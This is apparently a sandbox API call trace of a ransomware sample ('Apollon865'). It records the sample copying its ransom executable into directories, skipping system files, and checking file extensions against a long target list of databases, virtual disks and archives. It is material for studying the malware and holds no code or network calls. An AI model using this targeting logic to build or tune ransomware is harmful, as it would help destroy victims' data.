	[0053.922] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.922] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.922] GetLastError () returned 0x0
	[0053.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.922] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.923] CloseHandle (hObject=0x14c) returned 1
	[0053.923] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.923] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.923] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.923] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.923] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.923] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.923] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4f6b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.923] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.923] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.923] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.923] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.923] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4f6b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e4f6b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0053.923] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0053.923] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e51ccf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e51ccf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="Apollon865.txt.exe") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2=".") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="..") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="windows") returned -1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="bootmgr") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="temp") returned -1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="pagefile.sys") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="boot") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="ids.txt") returned 1
	[0053.923] lstrcmpiW (lpString1="Quick Launch", lpString2="ntuser.dat") returned 1
	[0053.924] lstrcmpiW (lpString1="Quick Launch", lpString2="perflogs") returned 1
	[0053.924] lstrcmpiW (lpString1="Quick Launch", lpString2="MSBuild") returned 1
	[0053.924] lstrlenW (lpString="Quick Launch") returned 12
	[0053.924] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned 62
	[0053.924] lstrcpyW (in: lpString1=0x119e682, lpString2="Quick Launch" | out: lpString1="Quick Launch") returned="Quick Launch"
	[0053.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0053.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5995a0
	[0053.924] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0053.924] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e51ccf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e51ccf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0
	[0053.924] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.924] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0053.924] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0053.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0053.924] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0053.924] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 73
	[0053.924] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0053.924] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0053.924] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0053.925] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0053.925] GetLastError () returned 0x0
	[0053.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0053.925] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0053.925] CloseHandle (hObject=0x14c) returned 1
	[0053.925] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0053.925] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0053.925] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e51ccf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e51ccf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0053.925] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.925] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0053.925] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0053.925] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e51ccf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e51ccf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.925] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.925] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0053.925] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0053.925] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0053.925] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de4960a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e1692f0, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0053.925] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0053.925] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0053.925] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0053.926] lstrlenW (lpString="desktop.ini") returned 11
	[0053.926] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned 75
	[0053.926] lstrcpyW (in: lpString1=0x119e69c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0053.926] lstrlenW (lpString="desktop.ini") returned 11
	[0053.926] lstrlenW (lpString="Apollon865") returned 10
	[0053.926] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0053.926] lstrlenW (lpString=".dll") returned 4
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0053.926] lstrlenW (lpString=".lnk") returned 4
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0053.926] lstrlenW (lpString=".ini") returned 4
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0053.926] lstrlenW (lpString=".sys") returned 4
	[0053.926] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0053.926] lstrlenW (lpString="desktop.ini") returned 11
	[0053.926] lstrlenW (lpString="bak") returned 3
	[0053.926] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0053.926] lstrlenW (lpString="ba_") returned 3
	[0053.926] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0053.926] lstrlenW (lpString="dbb") returned 3
	[0053.926] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0053.926] lstrlenW (lpString="vmdk") returned 4
	[0053.926] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0053.927] lstrlenW (lpString="rar") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0053.927] lstrlenW (lpString="zip") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0053.927] lstrlenW (lpString="tgz") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0053.927] lstrlenW (lpString="vbox") returned 4
	[0053.927] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0053.927] lstrlenW (lpString="vdi") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0053.927] lstrlenW (lpString="vhd") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0053.927] lstrlenW (lpString="vhdx") returned 4
	[0053.927] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0053.927] lstrlenW (lpString="avhd") returned 4
	[0053.927] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0053.927] lstrlenW (lpString="db") returned 2
	[0053.927] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0053.927] lstrlenW (lpString="db2") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0053.927] lstrlenW (lpString="db3") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0053.927] lstrlenW (lpString="dbf") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0053.927] lstrlenW (lpString="mdf") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0053.927] lstrlenW (lpString="mdb") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0053.927] lstrlenW (lpString="sql") returned 3
	[0053.927] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0053.927] lstrlenW (lpString="sqlite") returned 6
	[0053.927] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0053.927] lstrlenW (lpString="sqlite3") returned 7
	[0053.927] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0053.928] lstrlenW (lpString="sqlitedb") returned 8
	[0053.928] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0053.928] lstrlenW (lpString="xml") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0053.928] lstrlenW (lpString="$er") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0053.928] lstrlenW (lpString="4dd") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0053.928] lstrlenW (lpString="4dl") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0053.928] lstrlenW (lpString="^^^") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0053.928] lstrlenW (lpString="abs") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0053.928] lstrlenW (lpString="abx") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0053.928] lstrlenW (lpString="accdb") returned 5
	[0053.928] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0053.928] lstrlenW (lpString="accdc") returned 5
	[0053.928] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0053.928] lstrlenW (lpString="accde") returned 5
	[0053.928] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0053.928] lstrlenW (lpString="accdr") returned 5
	[0053.928] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0053.928] lstrlenW (lpString="accdt") returned 5
	[0053.928] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0053.928] lstrlenW (lpString="accdw") returned 5
	[0053.928] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0053.928] lstrlenW (lpString="accft") returned 5
	[0053.928] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0053.928] lstrlenW (lpString="adb") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.928] lstrlenW (lpString="adb") returned 3
	[0053.928] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0053.928] lstrlenW (lpString="ade") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0053.929] lstrlenW (lpString="adf") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0053.929] lstrlenW (lpString="adn") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0053.929] lstrlenW (lpString="adp") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0053.929] lstrlenW (lpString="alf") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0053.929] lstrlenW (lpString="ask") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0053.929] lstrlenW (lpString="btr") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0053.929] lstrlenW (lpString="cat") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0053.929] lstrlenW (lpString="cdb") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0053.929] lstrlenW (lpString="ckp") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0053.929] lstrlenW (lpString="cma") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0053.929] lstrlenW (lpString="cpd") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0053.929] lstrlenW (lpString="dacpac") returned 6
	[0053.929] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0053.929] lstrlenW (lpString="dad") returned 3
	[0053.929] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0053.929] lstrlenW (lpString="dadiagrams") returned 10
	[0053.929] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0053.929] lstrlenW (lpString="daschema") returned 8
	[0053.929] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0053.929] lstrlenW (lpString="db-journal") returned 10
	[0053.929] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0053.930] lstrlenW (lpString="db-shm") returned 6
	[0053.930] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0053.930] lstrlenW (lpString="db-wal") returned 6
	[0053.930] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0053.930] lstrlenW (lpString="dbc") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0053.930] lstrlenW (lpString="dbs") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0053.930] lstrlenW (lpString="dbt") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0053.930] lstrlenW (lpString="dbv") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0053.930] lstrlenW (lpString="dbx") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0053.930] lstrlenW (lpString="dcb") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0053.930] lstrlenW (lpString="dct") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0053.930] lstrlenW (lpString="dcx") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0053.930] lstrlenW (lpString="ddl") returned 3
	[0053.930] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0053.931] lstrlenW (lpString="dlis") returned 4
	[0053.931] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0053.931] lstrlenW (lpString="dp1") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0053.931] lstrlenW (lpString="dqy") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0053.931] lstrlenW (lpString="dsk") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0053.931] lstrlenW (lpString="dsn") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0053.931] lstrlenW (lpString="dtsx") returned 4
	[0053.931] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0053.931] lstrlenW (lpString="dxl") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0053.931] lstrlenW (lpString="eco") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0053.931] lstrlenW (lpString="ecx") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0053.931] lstrlenW (lpString="edb") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0053.931] lstrlenW (lpString="epim") returned 4
	[0053.931] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0053.931] lstrlenW (lpString="fcd") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0053.931] lstrlenW (lpString="fdb") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0053.931] lstrlenW (lpString="fic") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0053.931] lstrlenW (lpString="flexolibrary") returned 12
	[0053.931] lstrlenW (lpString="fm5") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0053.931] lstrlenW (lpString="fmp") returned 3
	[0053.931] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0053.931] lstrlenW (lpString="fmp12") returned 5
	[0053.932] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0053.932] lstrlenW (lpString="fmpsl") returned 5
	[0053.932] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0053.932] lstrlenW (lpString="fol") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0053.932] lstrlenW (lpString="fp3") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0053.932] lstrlenW (lpString="fp4") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0053.932] lstrlenW (lpString="fp5") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0053.932] lstrlenW (lpString="fp7") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0053.932] lstrlenW (lpString="fpt") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0053.932] lstrlenW (lpString="frm") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0053.932] lstrlenW (lpString="gdb") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.932] lstrlenW (lpString="gdb") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0053.932] lstrlenW (lpString="grdb") returned 4
	[0053.932] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0053.932] lstrlenW (lpString="gwi") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0053.932] lstrlenW (lpString="hdb") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0053.932] lstrlenW (lpString="his") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0053.932] lstrlenW (lpString="ib") returned 2
	[0053.932] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0053.932] lstrlenW (lpString="idb") returned 3
	[0053.932] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0053.932] lstrlenW (lpString="ihx") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0053.933] lstrlenW (lpString="itdb") returned 4
	[0053.933] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0053.933] lstrlenW (lpString="itw") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0053.933] lstrlenW (lpString="jet") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0053.933] lstrlenW (lpString="jtx") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0053.933] lstrlenW (lpString="kdb") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0053.933] lstrlenW (lpString="kexi") returned 4
	[0053.933] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0053.933] lstrlenW (lpString="kexic") returned 5
	[0053.933] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0053.933] lstrlenW (lpString="kexis") returned 5
	[0053.933] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0053.933] lstrlenW (lpString="lgc") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0053.933] lstrlenW (lpString="lwx") returned 3
	[0053.933] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0053.933] lstrlenW (lpString="maf") returned 3
